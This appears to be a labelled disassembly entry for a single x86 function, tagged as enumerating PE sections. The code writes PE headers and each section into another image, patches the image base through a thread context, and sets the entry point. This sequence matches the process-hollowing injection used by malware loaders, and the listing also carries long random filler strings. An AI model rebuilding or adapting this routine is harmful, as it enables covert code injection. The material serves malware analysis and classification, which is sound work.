Function at 0x409a90
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42bd40
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x48d870]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x20], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x24], str.VKkGfTD4ICGeXhbewCEdAFUcKgSFn33F0bILKEocRggVyAwwYfYW9LlQOsRPIcpMQ5apxqvcxtFQmxcNz4B0RevE2m2lakvpHpL3iChjno5DWWtahNBv5BvYzEdkEacuMb48vr6uxMvnbSeV6irERhyR6CamqIVemwU1oTwqKVUB9MYD1rVw8q45N6vsXjN0FAD2WTgsbJ7lfpV14blas5x7qvM64Eyn0FUsW6aFzFP27QR0hAhAi7D7aSndHHz9E6NwU2cP9MFAEvgHHMLJKcaWMMAbdOSiUhLp94tqDG7l
mov dword [ebp - 0x28], str.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
push 0
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax + 0x54]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [0x48fe84]
push ecx
call fcn.00409960
add esp, 0x14
mov dword [ebp - 0x18], 0
jmp 0x409b06
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
mov eax, dword [ebp + 0x10]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0x18], ecx
jge 0x409b58
mov edx, dword [ebp - 0x18]
imul edx, edx, 0x28
add edx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x18]
mov ecx, dword [eax + 0x3c]
lea edx, [edx + ecx + 0xf8]
mov dword [ebp - 0x1c], edx
push 0
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x10]
push ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 0xc]
add eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0xc]
push edx
mov eax, dword [0x48fe84]
push eax
call fcn.00409960
add esp, 0x14
jmp 0x409afd
push 0
push 4
mov ecx, dword [ebp + 0x10]
add ecx, 0x34
push ecx
mov edx, dword [ebp + 0x14]
mov eax, dword [edx + 0xa4]
add eax, 8
push eax
mov ecx, dword [0x48fe84]
push ecx
call fcn.00409960
add esp, 0x14
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x28]
mov ecx, dword [ebp + 0x14]
mov dword [ecx + 0xb0], eax
mov al, 1
jmp 0x409bc8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14